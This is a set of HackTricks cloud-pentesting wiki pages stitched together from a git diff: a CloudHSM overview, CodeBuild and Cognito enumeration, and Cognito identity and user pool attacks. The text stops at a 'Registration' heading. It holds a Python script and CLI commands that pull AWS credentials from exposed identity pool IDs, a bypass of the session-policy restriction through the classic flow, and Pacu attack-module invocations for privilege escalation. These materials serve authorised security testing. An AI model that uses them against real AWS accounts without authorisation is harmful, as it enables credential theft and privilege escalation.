Cloud HSM is a FIPS 140 level two validated **hardware device** for secure cryptographic key storage (note that CloudHSM is a hardware appliance, it is not a virtualized service). It is a SafeNetLuna 7000 appliance with 5.3.13 preloaded. There are two firmware versions and which one you pick is really based on your exact needs. One is for FIPS 140-2 compliance and there was a newer version that can be used.
The unusual feature of CloudHSM is that it is a physical device, and thus it is **not shared with other customers**, or as it is commonly termed, multi-tenant. It is dedicated single tenant appliance exclusively made available to your workloads
Typically, a device is available within 15 minutes assuming there is capacity, but in some zones there could not be.
Since this is a physical device dedicated to you, **the keys are stored on the device**. Keys need to either be **replicated to another device**, backed up to offline storage, or exported to a standby appliance. **This device is not backed** by S3 or any other service at AWS like KMS.
In **CloudHSM**, you have to **scale the service yourself**. You have to provision enough CloudHSM devices to handle whatever your encryption needs are based on the encryption algorithms you have chosen to implement for your solution.\
Key Management Service scaling is performed by AWS and automatically scales on demand, so as your use grows, so might the number of CloudHSM appliances that are required. Keep this in mind as you scale your solution and if your solution has auto-scaling, make sure your maximum scale is accounted for with enough CloudHSM appliances to service the solution.
Just like scaling, **performance is up to you with CloudHSM**. Performance varies based on which encryption algorithm is used and on how often you need to access or retrieve the keys to encrypt the data. Key management service performance is handled by Amazon and automatically scales as demand requires it. CloudHSM's performance is achieved by adding more appliances and if you need more performance you either add devices or alter the encryption method to the algorithm that is faster.
If your solution is **multi-region**, you should add several **CloudHSM appliances in the second region and work out the cross-region connectivity with a private VPN connection** or some method to ensure the traffic is always protected between the appliance at every layer of the connection. If you have a multi-region solution you need to think about how to **replicate keys and set up additional CloudHSM devices in the regions where you operate**. You can very quickly get into a scenario where you have six or eight devices spread across multiple regions, enabling full redundancy of your encryption keys.
**CloudHSM** is an enterprise class service for secured key storage and can be used as a **root of trust for an enterprise**. It can store private keys in PKI and certificate authority keys in X509 implementations. In addition to symmetric keys used in symmetric algorithms such as AES, **KMS stores and physically protects symmetric keys only (cannot act as a certificate authority)**, so if you need to store PKI and CA keys a CloudHSM or two or three could be your solution.
**CloudHSM is considerably more expensive than Key Management Service**. CloudHSM is a hardware appliance so you have fix costs to provision the CloudHSM device, then an hourly cost to run the appliance. The cost is multiplied by as many CloudHSM appliances that are required to achieve your specific requirements.\
Additionally, cross consideration must be made in the purchase of third party software such as SafeNet ProtectV software suites and integration time and effort. Key Management Service is a usage based and depends on the number of keys you have and the input and output operations. As key management provides seamless integration with many AWS services, integration costs should be significantly lower. Costs should be considered secondary factor in encryption solutions. Encryption is typically used for security and compliance.
**With CloudHSM only you have access to the keys** and without going into too much detail, with CloudHSM you manage your own keys. **With KMS, you and Amazon co-manage your keys**. AWS does have many policy safeguards against abuse and **still cannot access your keys in either solution**. The main distinction is compliance as it pertains to key ownership and management, and with CloudHSM, this is a hardware appliance that you manage and maintain with exclusive access to you and only you.
### CloudHSM Suggestions
1. Always deploy CloudHSM in an **HA setup** with at least two appliances in **separate availability zones**, and if possible, deploy a third either on premise or in another region at AWS.
2. Be careful when **initializing** a **CloudHSM**. This action **will destroy the keys**, so either have another copy of the keys or be absolutely sure you do not and never, ever will need these keys to decrypt any data.
3. CloudHSM only **supports certain versions of firmware** and software. Before performing any update, make sure the firmware and or software is supported by AWS. You can always contact AWS support to verify if the upgrade guide is unclear.
4. The **network configuration should never be changed.** Remember, it's in a AWS data center and AWS is monitoring base hardware for you. This means that if the hardware fails, they will replace it for you, but only if they know it failed.
5. The **SysLog forward should not be removed or changed**. You can always **add** a SysLog forwarder to direct the logs to your own collection tool.
6. The **SNMP** configuration has the same basic restrictions as the network and SysLog folder. This **should not be changed or removed**. An **additional** SNMP configuration is fine, just make sure you do not change the one that is already on the appliance.
7. Another interesting best practice from AWS is **not to change the NTP configuration**. It is not clear what would happen if you did, so keep in mind that if you don't use the same NTP configuration for the rest of your solution then you could have two time sources. Just be aware of this and know that the CloudHSM has to stay with the existing NTP source.
The initial launch charge for CloudHSM is $5,000 to allocate the hardware appliance dedicated for your use, then there is an hourly charge associated with running CloudHSM that is currently at $1.88 per hour of operation, or approximately $1,373 per month.
The most common reason to use CloudHSM is compliance standards that you must meet for regulatory reasons. **KMS does not offer data support for asymmetric keys. CloudHSM does let you store asymmetric keys securely**.
The **public key is installed on the HSM appliance during provisioning** so you can access the CloudHSM instance via SSH.
### What is a Hardware Security Module
A hardware security module (HSM) is a dedicated cryptographic device that is used to generate, store, and manage cryptographic keys and protect sensitive data. It is designed to provide a high level of security by physically and electronically isolating the cryptographic functions from the rest of the system.
The way an HSM works can vary depending on the specific model and manufacturer, but generally, the following steps occur:
1. **Key generation**: The HSM generates a random cryptographic key using a secure random number generator.
2. **Key storage**: The key is **stored securely within the HSM, where it can only be accessed by authorized users or processes**.
3. **Key management**: The HSM provides a range of key management functions, including key rotation, backup, and revocation.
4. **Cryptographic operations**: The HSM performs a range of cryptographic operations, including encryption, decryption, digital signature, and key exchange. These operations are **performed within the secure environment of the HSM**, which protects against unauthorized access and tampering.
5. **Audit logging**: The HSM logs all cryptographic operations and access attempts, which can be used for compliance and security auditing purposes.
HSMs can be used for a wide range of applications, including secure online transactions, digital certificates, secure communications, and data encryption. They are often used in industries that require a high level of security, such as finance, healthcare, and government.
Overall, the high level of security provided by HSMs makes it **very difficult to extract raw keys from them, and attempting to do so is often considered a breach of security**. However, there may be **certain scenarios** where a **raw key could be extracted** by authorized personnel for specific purposes, such as in the case of a key recovery procedure.
### Enumeration
```
TODO
```
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,102 @@
# AWS - Codebuild Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## CodeBuild
AWS **CodeBuild** is recognized as a **fully managed continuous integration service**. The primary purpose of this service is to automate the sequence of compiling source code, executing tests, and packaging the software for deployment purposes. The predominant benefit offered by CodeBuild lies in its ability to alleviate the need for users to provision, manage, and scale their build servers. This convenience is because the service itself manages these tasks. Essential features of AWS CodeBuild encompass:
1. **Managed Service**: CodeBuild manages and scales the build servers, freeing users from server maintenance.
2. **Continuous Integration**: It integrates with the development and deployment workflow, automating the build and test phases of the software release process.
3. **Package Production**: After the build and test phases, it prepares the software packages, making them ready for deployment.
AWS CodeBuild seamlessly integrates with other AWS services, enhancing the CI/CD (Continuous Integration/Continuous Deployment) pipeline's efficiency and reliability.
### **Github/Gitlab/Bitbucket Credentials**
#### **Default source credentials**
This is the legacy option where it's possible to configure some **access** (like a Github token or app) that will be **shared across codebuild projects** so all the projects can use this configured set of credentials.
The stored credentials (tokens, passwords...) are **managed by codebuild** and there isn't any public way to retrieve them from AWS APIs.
#### Custom source credential
Depending on the repository platform (Github, Gitlab and Bitbucket) different options are provided. But in general, any option that requires to **store a token or a password will store it as a secret in the secrets manager**.
This allows **different codebuild projects to use different configured accesses** to the providers instead of just using the configured default one.
### Enumeration
```bash
# List external repo creds (such as github tokens)
## It doesn't return the token but just the ARN where it's located
aws codebuild list-source-credentials
# Projects
aws codebuild list-shared-projects
aws codebuild list-projects
aws codebuild batch-get-projects --names <project_name> # Check for creds in env vars
# Builds
aws codebuild list-builds
aws codebuild list-builds-for-project --project-name <p_name>
aws codebuild list-build-batches
aws codebuild list-build-batches-for-project --project-name <p_name>
# Reports
aws codebuild list-reports
aws codebuild describe-test-cases --report-arn <ARN>
```
### Privesc
In the following page, you can check how to **abuse codebuild permissions to escalate privileges**:
{% content-ref url="../aws-privilege-escalation/aws-codebuild-privesc.md" %}
[aws-codebuild-privesc.md](../aws-privilege-escalation/aws-codebuild-privesc.md)
{% endcontent-ref %}
### Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-codebuild-post-exploitation/" %}
[aws-codebuild-post-exploitation](../aws-post-exploitation/aws-codebuild-post-exploitation/)
{% endcontent-ref %}
### Unauthenticated Access
{% content-ref url="../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md" %}
[aws-codebuild-unauthenticated-access.md](../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md)
{% endcontent-ref %}
## References
* [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,130 @@
# AWS - Cognito Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Cognito
Amazon Cognito is utilized for **authentication, authorization, and user management** in web and mobile applications. It allows users the flexibility to sign in either directly using a **user name and password** or indirectly through a **third party**, including Facebook, Amazon, Google, or Apple.
Central to Amazon Cognito are two primary components:
1. **User Pools**: These are directories designed for your app users, offering **sign-up and sign-in functionalities**.
2. **Identity Pools**: These pools are instrumental in **authorizing users to access different AWS services**. They are not directly involved in the sign-in or sign-up process but are crucial for resource access post-authentication.
### **User pools**
To learn what is a **Cognito User Pool check**:
{% content-ref url="cognito-user-pools.md" %}
[cognito-user-pools.md](cognito-user-pools.md)
{% endcontent-ref %}
### **Identity pools**
The learn what is a **Cognito Identity Pool check**:
{% content-ref url="cognito-identity-pools.md" %}
[cognito-identity-pools.md](cognito-identity-pools.md)
{% endcontent-ref %}
## Enumeration
{% code overflow="wrap" %}
```bash
# List Identity Pools
aws cognito-identity list-identity-pools --max-results 60
aws cognito-identity describe-identity-pool --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
aws cognito-identity list-identities --identity-pool-id <ident-pool-id> --max-results 60
aws cognito-identity get-identity-pool-roles --identity-pool-id <ident-pool-id>
# Identities Datasets
## Get dataset of identity id (inside identity pool)
aws cognito-sync list-datasets --identity-pool-id <ident-pool-id> --identity-id <ident-id>
## Get info of the dataset
aws cognito-sync describe-dataset --identity-pool-id <value> --identity-id <value> --dataset-name <value>
## Get dataset records
aws cognito-sync list-records --identity-pool-id <value> --identity-id <value> --dataset-name <value>
# User Pools
## Get pools
aws cognito-idp list-user-pools --max-results 60
## Get users
aws cognito-idp list-users --user-pool-id <user-pool-id>
## Get groups
aws cognito-idp list-groups --user-pool-id <user-pool-id>
## Get users in a group
aws cognito-idp list-users-in-group --user-pool-id <user-pool-id> --group-name <group-name>
## List App IDs of a user pool
aws cognito-idp list-user-pool-clients --user-pool-id <user-pool-id>
## List configured identity providers for a user pool
aws cognito-idp list-identity-providers --user-pool-id <user-pool-id>
## List user import jobs
aws cognito-idp list-user-import-jobs --user-pool-id <user-pool-id> --max-results 60
## Get MFA config of a user pool
aws cognito-idp get-user-pool-mfa-config --user-pool-id <user-pool-id>
## Get risk configuration
aws cognito-idp describe-risk-configuration --user-pool-id <user-pool-id>
```
{% endcode %}
### Identity Pools - Unauthenticated Enumeration
Just **knowing the Identity Pool ID** you might be able **get credentials of the role associated to unauthenticated** users (if any). [**Check how here**](cognito-identity-pools.md#accessing-iam-roles).
### User Pools - Unauthenticated Enumeration
Even if you **don't know a valid username** inside Cognito, you might be able to **enumerate** valid **usernames**, **BF** the **passwords** of even **register a new user** just **knowing the App client ID** (which is usually found in source code). [**Check how here**](cognito-user-pools.md#registration)**.**
## Privesc
{% content-ref url="../../aws-privilege-escalation/aws-cognito-privesc.md" %}
[aws-cognito-privesc.md](../../aws-privilege-escalation/aws-cognito-privesc.md)
{% endcontent-ref %}
## Unauthenticated Access
{% content-ref url="../../aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md" %}
[aws-cognito-unauthenticated-enum.md](../../aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md)
{% endcontent-ref %}
## Persistence
{% content-ref url="../../aws-persistence/aws-cognito-persistence.md" %}
[aws-cognito-persistence.md](../../aws-persistence/aws-cognito-persistence.md)
{% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,225 @@
# Cognito Identity Pools
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
Identity pools serve a crucial role by enabling your users to **acquire temporary credentials**. These credentials are essential for accessing various AWS services, including but not limited to Amazon S3 and DynamoDB. A notable feature of identity pools is their support for both anonymous guest users and a range of identity providers for user authentication. The supported identity providers include:
* Amazon Cognito user pools
* Social sign-in options such as Facebook, Google, Login with Amazon, and Sign in with Apple
* Providers compliant with OpenID Connect (OIDC)
* SAML (Security Assertion Markup Language) identity providers
* Developer authenticated identities
```python
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3
# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')
# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'
# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)
# Print the response from AWS
print(response)
```
### Cognito Sync
To generate Identity Pool sessions, you first need to **generate and Identity ID**. This Identity ID is the **identification of the session of that user**. These identifications can have up to 20 datasets that can store up to 1MB of key-value pairs.
This is **useful to keep information of a user** (who will be always using the same Identity ID).
Moreover, the service **cognito-sync** is the service that allow to **manage and syncronize this information** (in the datasets, sending info in streams and SNSs msgs...).
### Tools for pentesting
* [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.
For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page.
#### Usage
Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account:
```bash
Pacu (new:test) > run cognito__enum
```
* [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and identity pool escalation.
#### Installation
```bash
$ pip install cognito-scanner
```
#### Usage
```bash
$ cognito-scanner --help
```
For more information check https://github.com/padok-team/cognito-scanner
## Accessing IAM Roles
### Unauthenticated
The only thing an attacker need to know to **get AWS credentials** in a Cognito app as unauthenticated user is the **Identity Pool ID**, and this **ID must be hardcoded** in the web/mobile **application** for it to use it. An ID looks like this: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (it's not bruteforceable).
{% hint style="success" %}
The **IAM Cognito unathenticated role created via is called** by default `Cognito_<Identity Pool name>Unauth_Role`
{% endhint %}
If you find an Identity Pools ID hardcoded and it allows unauthenticated users, you can get AWS credentials with:
```python
import requests
region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}
r = requests.post(url, json=params, headers=headers)
json_resp = r.json()
if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit
IdentityId = r.json()["IdentityId"]
params = {'IdentityId': IdentityId}
headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)
print(r.json())
```
Or you could use the following **aws cli commands**:
```bash
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign
```
{% hint style="warning" %}
Note that by default an unauthenticated cognito **user CANNOT have any permission, even if it was assigned via a policy**. Check the followin section.
{% endhint %}
### Enhanced vs Basic Authentication flow
The previous section followed the **default enhanced authentication flow**. This flow sets a **restrictive** [**session policy**](../../aws-basic-information/#session-policies) to the IAM role session generated. This policy will only allow the session to [**use the services from this list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (even if the role had access to other services).
However, there is a way to bypass this, if the **Identity pool has "Basic (Classic) Flow" enabled**, the user will be able to obtain a session using that flow which **won't have that restrictive session policy**.
{% code overflow="wrap" %}
```bash
# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign
# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign
```
{% endcode %}
{% hint style="warning" %}
If you receive this **error**, it's because the **basic flow is not enabled (default)**
`An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.`
{% endhint %}
Having a set of IAM credentials you should check [which access you have](../../#whoami) and try to [escalate privileges](../../aws-privilege-escalation/).
### Authenticated
{% hint style="info" %}
Remember that **authenticated users** will be probably granted **different permissions**, so if you can **sign up inside the app**, try doing that and get the new credentials.
{% endhint %}
There could also be **roles** available for **authenticated users accessing the Identity Poo**l.
For this you might need to have access to the **identity provider**. If that is a **Cognito User Pool**, maybe you can abuse the default behaviour and **create a new user yourself**.
{% hint style="success" %}
The **IAM Cognito athenticated role created via is called** by default `Cognito_<Identity Pool name>Auth_Role`
{% endhint %}
Anyway, the **following example** expects that you have already logged in inside a **Cognito User Pool** used to access the Identity Pool (don't forget that other types of identity providers could also be configured).
<pre class="language-bash"><code class="lang-bash">aws cognito-identity get-id \
--identity-pool-id &#x3C;identity_pool_id> \
--logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
# Get the identity_id from the previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id &#x3C;identity_id> \
--logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
# In the IdToken you can find roles a user has access because of User Pool Groups
# User the --custom-role-arn to get credentials to a specific role
aws cognito-identity get-credentials-for-identity \
--identity-id &#x3C;identity_id> \
<strong> --custom-role-arn &#x3C;role_arn> \
</strong> --logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
</code></pre>
{% hint style="warning" %}
It's possible to **configure different IAM roles depending on the identity provide**r the user is being logged in or even just depending **on the user** (using claims). Therefore, if you have access to different users through the same or different providers, if might be **worth it to login and access the IAM roles of all of them**.
{% endhint %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,529 @@
# Cognito User Pools
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
A user pool is a user directory in Amazon Cognito. With a user pool, your users can **sign in to your web or mobile app** through Amazon Cognito, **or federate** through a **third-party** identity provider (IdP). Whether your users sign in directly or through a third party, all members of the user pool have a directory profile that you can access through an SDK.
User pools provide:
* Sign-up and sign-in services.
* A built-in, customizable web UI to sign in users.
* Social sign-in with Facebook, Google, Login with Amazon, and Sign in with Apple, and through SAML and OIDC identity providers from your user pool.
* User directory management and user profiles.
* Security features such as multi-factor authentication (MFA), checks for compromised credentials, account takeover protection, and phone and email verification.
* Customized workflows and user migration through AWS Lambda triggers.
**Source code** of applications will usually also contain the **user pool ID** and the **client application ID**, (and some times the **application secret**?) which are needed for a **user to login** to a Cognito User Pool.
### Potential attacks
* **Registration**: By default a user can register himself, so he could create a user for himself.
* **User enumeration**: The registration functionality can be used to find usernames that already exists. This information can be useful for the brute-force attack.
* **Login brute-force**: In the [**Authentication**](cognito-user-pools.md#authentication) section you have all the **methods** that a user have to **login**, you could try to brute-force them **find valid credentials**.
### Tools for pentesting
* [Pacu](https://github.com/RhinoSecurityLabs/pacu), now includes the `cognito__enum` and `cognito__attack` modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.\
For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page.
```bash
# Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account
Pacu (new:test) > run cognito__enum
# cognito__attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
* [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and account oracle. Check [this link](https://github.com/padok-team/cognito-scanner) for more info.
```bash
# Install
pip install cognito-scanner
# Run
cognito-scanner --help
```
* [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum): This script allows to enumerate valid attributes for users.
```bash
python cognito-attribute-enu.py -client_id 16f1g98bfuj9i0g3f8be36kkrl
```
## Registration
